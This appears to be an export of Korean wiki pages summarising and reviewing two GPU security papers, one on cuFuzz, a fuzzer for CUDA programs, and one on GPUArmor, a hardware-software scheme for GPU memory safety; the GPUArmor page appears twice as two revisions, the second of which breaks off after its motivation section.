이 논문은 [[CUDA]] 프로그램에서 [[Coverage-guided fuzzing]]이 왜 기존 CPU fuzzing 방식처럼 잘 작동하지 않는지를 분석하고, whole-program fuzzing, device-side coverage, sanitizer 분리를 결합한 [[cuFuzz]]로 실제 [[GPU]] 메모리 안전성 및 동시성 버그를 찾을 수 있음을 보인다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
GPU는 image processing, machine learning, LLM, HPC 등에서 핵심 실행 장치가 되었지만, CUDA 프로그램은 CPU host code와 GPU device kernel이 함께 동작하는 heterogeneous execution model을 가진다. 이 구조에서는 입력 파싱, host-side validation, CUDA API error handling, device kernel launch, GPU memory access가 서로 얽혀 버그가 발생한다. 이러한 구조에서 기존의 Fuzzer를 그대로 적용시키는 것은 여러 문제가 있어서 Practical하지 못하다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
기존의 Fuzzer를 그대로 GPU Kernel fuzzing에 적용시키면 다음과 같은 문제가 발생한다.&lt;br /&gt;
&lt;br /&gt;
;Kernel-level versus whole-program fuzzing:&lt;br /&gt;
: kernel-level fuzzing은 개별 GPU kernel 인자를 독립적으로 변형하므로 host code가 보장하는 invariant를 깨뜨린다. 그 결과 실제 full program에서는 불가능한 오류를 보고하거나, 반대로 host-device interaction에서 생기는 오류를 놓친다.&lt;br /&gt;
&lt;br /&gt;
; Lack of device-side coverage&lt;br /&gt;
: Device-side coverage: CUDA host code와 device code는 compilation path와 execution model이 다르다. host coverage만 쓰면 GPU 내부 branch를 feedback으로 사용할 수 없고, closed-source library는 source-level instrumentation을 적용할 수 없다.&lt;br /&gt;
&lt;br /&gt;
; Incompatibility between different fuzzing compoenents:&lt;br /&gt;
: Tool incompatibility: [[AddressSanitizer]]는 host-side memory bug에 강하지만 device memory bug를 보지 못한다. 반대로 Compute Sanitizer는 device-side bug를 잘 잡지만 NVBit, cuda-gdb 등 다른 GPU instrumentation tool과 같은 process에서 충돌한다.&lt;br /&gt;
&lt;br /&gt;
; Throughput&lt;br /&gt;
: CUDA runtime initialization, GPU context setup, dynamic binary instrumentation, device sanitizer 실행은 fuzzing iteration cost를 크게 만든다. GPU fuzzing은 CPU fuzzing보다 input/sec가 낮아 coverage와 sanitizer를 무작정 모두 켜기 어렵다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
핵심 아이디어는 CUDA bug를 개별 kernel의 local property가 아니라 whole program execution에서 나타나는 host-device interaction의 결과로 보고, fuzzer feedback과 error checking을 이 전체 실행 경로에 맞게 재구성하는 것이다.&lt;br /&gt;
&lt;br /&gt;
cuFuzz는 application main function이나 library sample program을 fuzzing harness로 삼아 실제 host-side invariant를 보존한다. 동시에 [[NVBit]]로 device binary를 runtime instrumentation하여 GPU edge coverage를 수집하고, 이를 AFL++ host coverage bitmap과 합친다. sanitizer는 coverage collection process와 분리하여 별도 process에서 실행함으로써 도구 충돌을 피한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
[[파일:OOPSLA 2026 cufuzz figure 1.png|700px|섬네일|가운데]]&lt;br /&gt;
; Whole-program harness&lt;br /&gt;
: cuFuzz는 개별 kernel wrapper가 아니라 CUDA application의 main function 또는 CUDALibrarySamples의 library example을 fuzzing harness로 사용한다.&lt;br /&gt;
&lt;br /&gt;
; Host+device coverage integration&lt;br /&gt;
: Host-side coverage는 AFL++ compile-time instrumentation을 그대로 사용한다. Device-side coverage는 NVBit로 kernel load 시점에 device instruction을 patch하여 basic block edge를 추적한다.&lt;br /&gt;
&lt;br /&gt;
; Concurrent coverage update&lt;br /&gt;
: GPU에서는 수천 개 thread가 같은 coverage entry를 동시에 갱신할 수 있으므로, Single-thread나 적은 concurrent로도 만족하였던 CPU-side fuzzer와 비교하여 훨씬 큰 동시성 최적화를 요구한다. 이를 해결하기 위해서, 1) cuFuzz는 warp-aware atomic update를 사용하였다. 2) AFL++의 edge hit count bucket과 유사하게 device-side에서는 thread count를 coarse bucket으로 압축하여 input이 새 GPU execution behavior를 만들었는지 판단하였다. 3) cuFuzz는 64KB AFL++ coverage bitmap을 host/device 각각 32KB 영역으로 나누어 collision을 줄였다. 4) device edge는 bitmap 후반부에 기록하였다.&lt;br /&gt;
&lt;br /&gt;
; Decoupled coverage collection &amp;amp; sanitization&lt;br /&gt;
: NVbit은 coverage collection과 compute sanitizer에서 동시에 활용된다. 따라서 coverage collection과 sanitizer를 동시에 수행할 수 없다. 이를 해결하기 위해서, cuFuzz는 coverage collection process와 sanitizer process를 분리하여 따로 수행하였다. 기본 fuzzing run은 host/device coverage를 수집하고, interesting input은 sanitizer-enabled program으로 전달되도록 하였다. 이 구조는 process 수를 늘려 overhead를 만드는 한계가 있다. 논문은 SAND에서 영감을 받은 selective sanitization을 사용해 모든 input이 아니라 unique execution path를 만드는 input subset에 sanitizer를 적용시킴으로서 본 한계를 극복하였다고 주장하였다.&lt;br /&gt;
&lt;br /&gt;
; Decoupled host-cpu sanitization&lt;br /&gt;
: Host-side bug는 AddressSanitizer로, device-side illegal access, race, uninitialized read는 Compute Sanitizer의 memcheck, racecheck, initcheck로 검사하였다.&lt;br /&gt;
&lt;br /&gt;
; Implementations&lt;br /&gt;
: AFL++ 기본 실행은 input 하나마다 process를 새로 띄우므로 CUDA runtime initialization cost가 크다. cuFuzz는 AFL++ persistent mode를 지원하여 한 process가 여러 input을 loop 안에서 처리하도록 한다. 또한, Device-side coverage를 input별로 분리하기 위해 harness는 persistent loop의 시작과 끝에 빈 cufuzz전용 kernel을 호출하도록 하였다. NVBit tool은 이 kernel launch를 intercept하여 iteration 시작과 끝을 파악할 수 있어, 시작할때는 device bitmap을 reset하고, 끝날 때에는 host bitmap과 merge하였다. 또한, 별도 sanitizer process가 input을 읽을 수 있도록 persistent loop 안에서 mutated buffer를 file로 기록하였다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
; Bug finding&lt;br /&gt;
: cuFuzz는 43개의 previously unknown bug를 발견했다. 이 중 19개는 commercial library에서 발견되었고, 논문 작성 시점에 40개는 maintainer가 fixed 상태로 처리했다. bug type은 host heap buffer overflow 8개, host stack buffer overflow 1개, floating-point exception 2개, segmentation fault 2개, device out-of-bounds access 13개, shared memory data race 5개, uninitialized device read 12개다.&lt;br /&gt;
: 이 결과는 decoupled sanitization의 필요성을 직접 보여준다. AFL++와 cuFuzz-noSanitizer는 각각 11개와 9개 bug만 찾았고 주로 host-side crash에 제한되었다. Device-side sanitization을 켠 cuFuzz-noDeviceCoverage는 30개를 찾았다. 기본 cuFuzz simple-trace 전략은 36/43개, 즉 83%를 찾았다.&lt;br /&gt;
&lt;br /&gt;
; Coverage&lt;br /&gt;
: Device-side coverage는 closed-source library에서 특히 중요했다. cuFuzz는 closed-source benchmark에서 cuFuzz-noDeviceCoverage보다 device-side edge를 더 많이 발견했고, improvement는 nvTIFF의 9%부터 blas-gemm의 289%까지 나타났다. 반면 open-source benchmark에서는 host-side instrumentation만으로도 device execution이 충분히 guide되는 경우가 많아 AFL++가 더 빠르게 같은 coverage에 도달하거나 더 높은 coverage를 보이기도 했다.&lt;br /&gt;
: 이 결과는 device-side coverage가 항상 무료 benefit은 아니며, source를 recompile할 수 있는 단순 benchmark와 closed-source production library 사이에서 가치가 달라진다는 점을 보여준다.&lt;br /&gt;
&lt;br /&gt;
; Performance&lt;br /&gt;
: 전체 input 기준으로 NVBit device-side coverage는 throughput을 평균 55% 낮췄고, Compute Sanitizer의 memcheck와 racecheck는 각각 71%, 82% 낮췄다. 실제 device kernel을 실행하는 input만 보면 NVBit overhead는 67%로 측정되었고, device-side sanitizer overhead는 memcheck 39%, racecheck 66%, initcheck 32%로 요약된다.&lt;br /&gt;
: Host-side coverage와 AddressSanitizer의 overhead는 상대적으로 작았다. 따라서 cuFuzz의 주 병목은 host instrumentation이 아니라 device binary instrumentation과 device sanitizer initialization/runtime cost이다.&lt;br /&gt;
&lt;br /&gt;
; Persistent mode&lt;br /&gt;
: cuFuzz-persistent는 14개 program 중 7개에서 regular cuFuzz보다 높은 edge coverage를 얻었고, 4개에서는 같은 coverage를 얻었다. 즉 11/14개 workload에서 equal-or-better coverage를 보였다. 다만 seam-carving, urng, nvTIFF에서는 loop 내부 reinitialization이나 매우 짧은 kernel execution 때문에 persistent mode benefit이 사라졌다.&lt;br /&gt;
: Bug finding 측면에서 persistent mode는 35/43개 bug를 찾았고, 16개 bug에 대해서는 모든 configuration 중 가장 짧은 time to exposure를 보였다. 이는 CUDA runtime initialization cost가 GPU fuzzing throughput의 중요한 병목임을 뒷받침한다.&lt;br /&gt;
&lt;br /&gt;
; Kernel-level fuzzing comparison&lt;br /&gt;
: 논문은 9개 open-source benchmark의 22개 kernel에 대해 kernel-level harness를 별도로 만들고 cuFuzz와 비교했다. Kernel-level fuzzing은 적용 가능한 14개 device-side bug 중 6개만 찾았다. 나머지 8개는 host-side file parsing, allocation failure handling, host-device interface mismatch 같은 whole-program context가 필요해 놓쳤다.&lt;br /&gt;
: 더 중요한 차이는 false positive다. Kernel-level fuzzing은 host-enforced invariant를 깨뜨려 16개의 false positive를 만들었다. 반면 cuFuzz whole-program approach는 14개 device-side bug와 10개 host-side bug를 찾으면서 false positive를 만들지 않았다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# CUDA fuzzing에서 kernel-level fuzzing, host-only coverage, sanitizer incompatibility가 왜 실제 bug finding을 방해하는지 체계적으로 정리했다.&lt;br /&gt;
# Whole-program CUDA fuzzing과 host+device edge coverage를 결합하여 왜 Host-GPU를 동시에보는 방향이 중요한지를 실험으로 실증하였다.&lt;br /&gt;
# 14개 CUDA program/library에서 43개 previously unknown bug를 발견하고, coverage, throughput, persistent mode, sanitization strategy, kernel-level fuzzing 대비 효과를 정량적으로 평가했다.&lt;br /&gt;
&lt;br /&gt;
== Review ==&lt;br /&gt;
=== Major ===&lt;br /&gt;
# Throughput 제약은 여전히 커보인다. 논문은 persistent mode와 selective sanitization으로 완화하지만, GPU fuzzing은 CPU fuzzing처럼 많은 input/sec를 얻기 어렵다.&lt;br /&gt;
# Coverage result는 configuration별 세 번의 24시간 run 중 best result를 보고한다. 모든 configuration에 같은 규칙을 적용했으므로 비교 자체는 일관적이지만, typical run behavior나 variance를 이해하려면 median, spread, failed run 분석이 더 있으면 좋다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 CUDA bug finding을 device kernel 단위의 isolated testing이 아니라 host-device whole-program execution을 보존해야 하는 coverage-guided fuzzing 문제로 바라보게 만든다. cuFuzz는 whole-program harness, NVBit 기반 device-side coverage, decoupled sanitization, persistent mode를 결합하여 closed-source production CUDA library에서도 실제 bug를 찾을 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
[[분류: ACM OOPSLA]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:OOPSLA_2026_cufuzz_figure_1.png&amp;diff=7150</id>
		<title>파일:OOPSLA 2026 cufuzz figure 1.png</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:OOPSLA_2026_cufuzz_figure_1.png&amp;diff=7150"/>
		<updated>2026-07-13T03:53:53Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Fig. 1. cuFuzz high-level overview showing the integration of AFL++ with NVBit for device-side coverage and various sanitizers (e.g., Compute Sanitizer’s memcheck, racecheck, initcheck) for GPU error detection.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=GPUArmor:_A_Hardware-Software_Co-design_for_Efficient_and_Scalable_Memory_Safety_on_GPUs&amp;diff=7148</id>
		<title>GPUArmor: A Hardware-Software Co-design for Efficient and Scalable Memory Safety on GPUs</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=GPUArmor:_A_Hardware-Software_Co-design_for_Efficient_and_Scalable_Memory_Safety_on_GPUs&amp;diff=7148"/>
		<updated>2026-07-09T12:51:44Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=GPUArmor: A Hardware-Software Co-design for Efficient and Scalable Memory Safety on GPUs&lt;br /&gt;
|author=Mohamed Tarek Ibn Ziad, Sana Damani, Mark Stephenson, Stephen W. Keckler, Aamer Jaleel&lt;br /&gt;
|conference=ACM TACO&lt;br /&gt;
|year=2025&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[GPU]]에서 [[Memory safety]] 검사를 할 때 metadata lookup을 빠르게 만들기 위해 큰 direct-addressing table을 써야 한다는 가정을, GPU workload의 allocation working set이 작다는 관찰을 통해서 작은 hardware metadata cache로 해결하였다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
기존 CPU sanitizer 방식의 핵심 비용은 runtime metadata lookup이다. [[AddressSanitizer]]는 8 byte application memory마다 1 byte shadow memory를 두어 O(1) lookup을 얻지만 12.5% memory bloat를 낸다. GPU 쪽에서도 [[GPUShield]]와 [[cuCatch]]가 direct-addressing table류의 구조를 사용하지만, GPUShield는 57-bit address space에서 upper pointer bit를 index로 쓰는 설계 때문에 128 live allocation 수준에서 scalability 한계가 있고 temporal safety도 약하다. cuCatch는 더 scalable하지만 12.5% metadata storage overhead와 non-trivial runtime overhead가 남는다.&lt;br /&gt;
&lt;br /&gt;
GPUArmor의 출발점은 GPU에서는 CPU와 같은 cost model이 성립하지 않을 수 있다는 점이다. 논문은 real-world GPU kernel 28개를 분석하여 global memory access가 전체 dynamic instruction의 평균 6% 정도이고, shared memory도 평균 6% 정도이며, local memory access는 관측되지 않았다고 보고한다. GPU는 warp scheduling으로 long-latency memory operation을 숨기는 데 강하고, allocation size는 대체로 크지만 active allocation working set은 작다. 따라서 metadata lookup을 매 access마다 절대적으로 O(1)로 만들기보다, 작은 cache로 대부분의 lookup을 처리하고 compact metadata structure를 쓰는 쪽이 GPU에 더 맞을 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
=== Observations ===&lt;br /&gt;
본 연구는 다음과 같은 특징을 고려해야 효율적인 Sanitizer를 디자인 할 수 있다고 주장한다.&lt;br /&gt;
# GPU의 메모리 접근은 CPU보다 Pressure가 낮으며, Local memory (stack 할당)은 거의 없는 수준이다. 또한 Global memory access가 Shared memory access보다 작다.&lt;br /&gt;
# GPU의 워크로드들은 대부분 병령 처리 되기 떄문에 Memory access checking의 Latency가 크더라도 Hiding된다.&lt;br /&gt;
# GPU의 메모리 크기는 보통 CPU보다 작다. (HMM은 제외하였을 경우)&lt;br /&gt;
# GPU의 Allocation size는 대부분 크다. 예를 들어서 CUDA Memory allocation은 적어도 256B의 정렬을 요구한다.&lt;br /&gt;
# Live allocation의 개수-즉 특정 시점에 동시에 접근 할 수 있는 allocation의 개수-는 병렬 처리의 특징으로 인해 큰 경향이 있다.&lt;br /&gt;
# Working set크기-즉 특정 시점에 반복적으로 접근하는 메모리의 크기-는 작은 경우가 대부분이다.&lt;br /&gt;
&lt;br /&gt;
=== Ramification ===&lt;br /&gt;
위의 Observation결과에 따라 다음과 같은 GPU Sanitizer의 요구사항이 정해진다.&lt;br /&gt;
# Observation 1-2: 생각보다 memory instrumentation체크에 걸리는 시간이 CPU workload만큼 중요하지는 않다. 또한 stack allocation에 걸리는 시간이 길더라도 전체 실행시간에는 큰 영향을 주지 않는다.&lt;br /&gt;
# Observation 3-4: 메타데이트가 Memory크기에 따라서 Linear하게 증가하는 것 보다는 Per-allocation에 있는 것이 메모리를 더 절약할 수 있다.&lt;br /&gt;
# Observation 5: Live allocation의 개수를 모두 처리해야 하기 떄문에 Pointer-tagging과 같은 구조는 Metadata fetching에 있어서 불리하다.&lt;br /&gt;
# Observation 6: Workgin set의 개수가 작기 때문에 Per-SM hardware structure가 있으면 metadata cache allocation을 줄일 수 있다.&lt;br /&gt;
&lt;br /&gt;
따라서, 아이디어는 GPU kernel이 동시에 접근할 수 있는 전체 live allocation 수는 많아도, 실제 실행 중 짧은 구간에서 반복적으로 접근하는 allocation working set은 작다는 관찰을 이용해 allocation metadata lookup을 작은 per-SM cache로 처리하는 것이다. 이렇게 하면 metadata table 자체는 direct-addressing table처럼 memory footprint에 비례해 커질 필요가 없고, linked list나 binary search tree처럼 compact한 per-allocation metadata structure를 쓸 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
=== Metadata design ===&lt;br /&gt;
; Allocation&lt;br /&gt;
: Allocation 생성 시 runtime wrapper가 base address, size, random tag를 metadata structure에 저장하고, tag를 pointer upper bits (VA의 57부터 64번쨰의 비트)에 넣은 tagged pointer를 application에 돌려준다. Metadata structure는 linked list, balanced binary search tree, hypothetical speed-of-light table처럼 여러 종류의 Metadata structure로 구현할 수 있다. Linked list와 binary tree는 allocation당 32 byte node를 사용하며, 그중 16 byte는 base/size/tag metadata이고 나머지는 pointer field이다.&lt;br /&gt;
&lt;br /&gt;
; Deallocation&lt;br /&gt;
: Free 시에는 metadata entry를 즉시 제거하지 않고 tag를 reserved value로 바꾼다. 이 방식은 dangling pointer의 tag와 metadata tag가 mismatch되도록 만들어 immediate [[Use-after-free]]를 잡는다. 삭제 entry를 남기는 선택은 concurrent kernel이 metadata structure를 traverse 중일 수 있다는 GPU execution model에도 맞는다.&lt;br /&gt;
&lt;br /&gt;
; Metadata checking&lt;br /&gt;
: Memory access가 발생하면, Input address가 base and size에 들어가는지를 메타데이터를 참고해서 Spatial safety bug를 판단하였다. 또한 Temporal safety를 방지하기 위해서 Pointer tag가 Metadata tag와 일치하는지를 체크하였다.&lt;br /&gt;
&lt;br /&gt;
=== Hardware modifications ===&lt;br /&gt;
; ISA extension&lt;br /&gt;
: GPUArmor는 세 개의 instruction을 추가한다. `LOADMETA`는 compiler가 찾은 root pointer를 key로 metadata structure를 traverse하고 metadata location을 반환하며 MLB를 채운다. `MEMCHECK.G`는 global memory address와 metadata pointer를 받아 base/bounds/tag를 검사하고, check를 통과하면 upper tag bit를 clear한 address를 반환한다. `MEMCHECK.S`는 shared memory address에 대해 compile-time에 알 수 있는 base/size로 bounds check를 수행한다.&lt;br /&gt;
&lt;br /&gt;
=== Metadata Loading Unit와 Metadata Lookaside Buffer ===&lt;br /&gt;
; Metadata Loading Unit&lt;br /&gt;
: MLU는 Load/Store Unit 근처에 위치하며, metadata structure traversal을 담당하는 FSM과 Metadata Lookaside Buffer(MLB)를 포함한다. LOADMETA에서는 MLB가 input address를 포함하는 allocation range를 찾으면 metadata location을 바로 반환하고, miss일 때만 FSM이 linked list 또는 binary tree를 traverse한다. MEMCHECK에서는 metadata location으로 MLB를 찾고, miss일 때 metadata를 cache hierarchy에서 가져온다. 논문이 사용하는 기본 설계는 per-SM 8-entry MLB이다. 각 entry는 16 byte metadata와 8 byte metadata location을 담는다. 이 구조가 충분한 이유는 평가 workload의 allocation working set이 8개 미만이기 때문이다.&lt;br /&gt;
&lt;br /&gt;
=== Compiler/Runtime support ===&lt;br /&gt;
; Compiler pass&lt;br /&gt;
: Compiler pass는 ptxas backend에 구현되어 global/shared memory access 앞에 MEMCHECK를 넣고, object당 한 번 LOADMETA를 넣는다. Root pointer analysis는 cuCatch의 intra-procedural reaching-definition 기반 분석을 따르며, pointer arithmetic을 거슬러 올라가 object의 root pointer 또는 적어도 checked address와 다른 intermediate pointer를 찾는다. 이 방식은 memory access마다 metadata를 다시 load하지 않고 root pointer 단위로 metadata pointer를 propagate한다.&lt;br /&gt;
&lt;br /&gt;
; Runtime support&lt;br /&gt;
: Runtime은 `cudaMalloc`, `cudaFree` 같은 CUDA global memory management API를 wrapper로 감싼다. Allocation 시 size/base/tag를 기록하고 tagged pointer를 반환하며, free 시 reserved tag로 metadata를 갱신한다. 논문은 allocation/free 수가 적기 때문에 runtime metadata management overhead는 negligible하다고 본다.&lt;br /&gt;
&lt;br /&gt;
; Binary compatibility와 HWOnly mode&lt;br /&gt;
: GPUArmor는 non-zero tag가 붙은 pointer에만 metadata retrieval과 check를 수행하고, memory hierarchy에 request를 보내기 전 tag bit를 mask한다. 이는 ARM TBI, Intel LAM, AMD UAI와 유사한 upper-address-bit 무시 기능을 전제로 한다. Recompilation이 불가능한 third-party library에는 GPUArmor-HWOnly mode를 제안한다. 이 모드에서는 compiler instrumentation 없이 hardware가 모든 memory instruction에서 metadata를 fetch/check하며, coverage는 memory tagging과 유사하게 probabilistic해지지만 per-allocation metadata 덕분에 LAK 같은 per-granule tag storage보다 memory overhead가 작다.&lt;br /&gt;
&lt;br /&gt;
== Evaluation ==&lt;br /&gt;
# MLB 없이 metadata structure만 비교하면 linked list는 평균 2x, 최대 22x overhead를 낸다. Binary search tree는 평균 10%, 최대 80% overhead로 줄지만 large allocation count workload에서는 여전히 traversal latency가 크다. Hypothetical speed-of-light table은 O(1) lookup으로 평균 1.4% overhead를 보인다.&lt;br /&gt;
# 8-entry MLB 효과: 8-entry MLB를 넣으면 metadata traversal 비용이 대부분 사라진다. Binary search tree + 8-entry MLB는 평균 약 2% 수준의 runtime overhead를 보이며, 논문 결론에서는 base-and-bounds coverage를 2.3% average slowdown으로 달성한다고 요약한다. Linked list도 8-entry MLB가 있으면 평균 7% 수준까지 내려가며, SoL table은 약 1% 수준이다. 이 결과는 MLB가 underlying metadata structure의 asymptotic lookup cost를 대부분 capacity-hit case에서 지운다는 주장과 연결된다.&lt;br /&gt;
# MLB ize sensitivity: MLB entry 수를 0, 1, 2, 4, 8, 16으로 바꿔 평가했을 때 overhead는 8-entry 이후 거의 saturate된다. 이는 characterization에서 관찰한 &amp;quot;allocation working set &amp;lt; 8&amp;quot;과 직접 대응한다.&lt;br /&gt;
# Shared memory protection: Shared memory protection은 metadata load가 필요 없고 bounds-check compute logic만 추가하므로 전체 workload에서 overhead가 0.1% 미만이다.&lt;br /&gt;
# Related work와의 비교: cuCatch와 같은 safety guarantee를 비교했을 때, cuCatch는 평균 29% runtime overhead와 12.5% metadata storage overhead를 보인다. GPUArmor는 binary search tree + 8-entry MLB에서 약 2% runtime overhead와 0.0005% storage overhead를 보고한다. AMG_3 사례에서는 GPUArmor가 instruction bloat를 2x 줄이고 register pressure를 1.7x 줄여 baseline과 유사한 SM occupancy를 유지한다고 설명한다.&lt;br /&gt;
# Hardware cost: 16-entry MLB는 entry당 24 byte로 약 384 byte per SM이다. 7nm SRAM/comparator/priority logic 구현 가정에서 L1 cache 대비 area overhead는 약 0.2%, per-access energy는 약 5%이다. MLB lookup은 global memory instruction에만 적용되고 이들이 전체 instruction의 약 6%이므로 total GPU power impact는 0.0006% 미만으로 추정된다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# Real-world GPU workload의 memory access, allocation size, live allocation count, allocation working set을 memory-safety 관점에서 정량화하였다.&lt;br /&gt;
# Direct-addressing metadata table이 GPU memory safety의 필수 조건이 아니라는 점을 보이고, 작은 per-SM MLB가 metadata lookup cost를 대부분 제거할 수 있음을 제안하였다.&lt;br /&gt;
# LOADMETA, MEMCHECK.G, MEMCHECK.S instruction과 MLU/MLB hardware, CUDA runtime wrapper, ptxas compiler instrumentation을 결합한 GPUArmor hardware-software co-design을 제시하였다.&lt;br /&gt;
# Base-and-bounds checking에서 평균 2.3% 수준 slowdown과 0.0005% storage overhead를 보이며, cuCatch 대비 runtime/storage overhead를 크게 낮출 수 있음을 평가하였다.&lt;br /&gt;
# Compiler support가 없는 GPUArmor-HWOnly mode를 통해 memory tagging 수준의 probabilistic safety를 낮은 overhead와 per-allocation metadata storage로 제공할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
== Criticisms ==&lt;br /&gt;
=== Major Comments ===&lt;br /&gt;
# Writing quality측면에서 개선될 방향이 존재한다. 예를 들어서 Observations들은 잘 정리되어 있고 휼룡하지만, 서술하는 방식이 개조식으로 서술되어 있었으면 좀더 이해하기 쉬웠을 듯 하다. 예를 들어서 Instruction behavior에 top sentence로 GPU workloads access shared memory much more frequently than global memory compared to CPU-centric workloads. 이런식이였으면 좀더 이해하기 쉬웠을 듯 하다.&lt;br /&gt;
# Writing quality측면 2: GPUArmor uses a pointer’s value (rather than the pointer’s location in memory [19, 24]) as a key to search the metadata structure. 이문장은 배경지식이 부족하면 이해하기 힘들듯. Location-based라는 말을 위에서 설명한적이 없기 때문에 pointer의 value는 *ptr의 값을 의미하는 것처럼 느껴질 수 도 있을듯.&lt;br /&gt;
# 보통 있는 Pointer scheme에 대한 그림이 없음. Pointer가 어떻게 Tagging되고 있는지 그림이 있으면 좋을 것 같다는 생각이 든다.&lt;br /&gt;
&lt;br /&gt;
=== Minor Comments ===&lt;br /&gt;
# 평가 workload가 NVIDIA 내부 product group kernel 중심이고, simulator와 수정된 ptxas/NVAS에 의존한다. 논문의 artifact나 workload 접근성이 제한된다면 재현성은 약할 수 있다.&lt;br /&gt;
# Root pointer analysis는 intra-procedural이다. CUDA compiler의 aggressive inlining이 도움을 주지만, inter-procedural pointer flow나 복잡한 aliasing에서는 deterministic base-and-bounds coverage가 memory-tagging 수준으로 내려간다.&lt;br /&gt;
# HMM/UVM 지원은 discussion 수준이다. HMM에서는 GPU kernel이 `malloc`/`new` host allocation에 접근할 수 있어 allocation universe가 급격히 커지고, CPU allocation metadata와 GPU check를 어떻게 consistency 있게 연결할지가 아직 prototype에 들어가 있지 않다.&lt;br /&gt;
# Pointer tag를 host와 공유하려면 CPU host가 TBI/LAM/UAI 같은 upper-address-ignore 기능을 지원해야 한다. 그렇지 않으면 HMM/UVM allocation에 대해서는 temporal-safety coverage를 잃을 수 있다.&lt;br /&gt;
# Concurrent metadata update 문제는 완전히 해결되지 않았다. Running kernel이 metadata structure를 traverse하는 동안 `cudaFree`나 HMM allocation update가 일어나는 경우 lock-free structure, atomic synchronization, persistent data structure 같은 추가 설계가 필요하다.&lt;br /&gt;
# Threat model은 device-side memory safety bug와 reliable GPU hardware를 가정하고 side/covert channel은 제외한다. 따라서 GPU isolation attack 전체에 대한 방어로 해석하면 안 된다.&lt;br /&gt;
# Runtime wrapper overhead는 memory management API 자체에 비해 negligible하다고 보고 simulation overhead에 포함하지 않는다. Allocation-intensive workload에서는 이 가정이 별도 검증을 요구할 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 GPU memory safety의 비용을 direct-addressing metadata table의 O(1) lookup 문제로만 보지 않고, GPU workload의 small allocation working set과 latency tolerance를 활용하는 metadata-cache 문제로 제시하였다.. GPUArmor는 compiler root pointer analysis, CUDA runtime metadata management, LOADMETA/MEMCHECK ISA, 그리고 작은 per-SM MLB를 결합해 scalable base-and-bounds checking을 평균 2.3% slowdown과 매우 작은 storage overhead로 달성할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
[[분류: ACM TACO]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=GPUArmor:_A_Hardware-Software_Co-design_for_Efficient_and_Scalable_Memory_Safety_on_GPUs&amp;diff=7147</id>
		<title>GPUArmor: A Hardware-Software Co-design for Efficient and Scalable Memory Safety on GPUs</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=GPUArmor:_A_Hardware-Software_Co-design_for_Efficient_and_Scalable_Memory_Safety_on_GPUs&amp;diff=7147"/>
		<updated>2026-07-08T08:45:23Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=GPUArmor: A Hardware-Software Co-design for Efficient and Scalable Memory Safety on GPUs&lt;br /&gt;
|author=Mohamed Tarek Ibn Ziad, Sana Damani, Mark Stephenson, Stephen W. Keckler, Aamer Jaleel&lt;br /&gt;
|conference=ACM TACO&lt;br /&gt;
|year=2025&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[GPU]]에서 [[Memory safety]] 검사를 할 때 metadata lookup을 빠르게 만들기 위해 큰 direct-addressing table을 써야 한다는 가정을, GPU workload의 allocation working set이 작다는 관찰을 통해서 작은 hardware metadata cache로 해결하였다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
기존 CPU sanitizer 방식의 핵심 비용은 runtime metadata lookup이다. [[AddressSanitizer]]는 8 byte application memory마다 1 byte shadow memory를 두어 O(1) lookup을 얻지만 12.5% memory bloat를 낸다. GPU 쪽에서도 [[GPUShield]]와 [[cuCatch]]가 direct-addressing table류의 구조를 사용하지만, GPUShield는 57-bit address space에서 upper pointer bit를 index로 쓰는 설계 때문에 128 live allocation 수준에서 scalability 한계가 있고 temporal safety도 약하다. cuCatch는 더 scalable하지만 12.5% metadata storage overhead와 non-trivial runtime overhead가 남는다.&lt;br /&gt;
&lt;br /&gt;
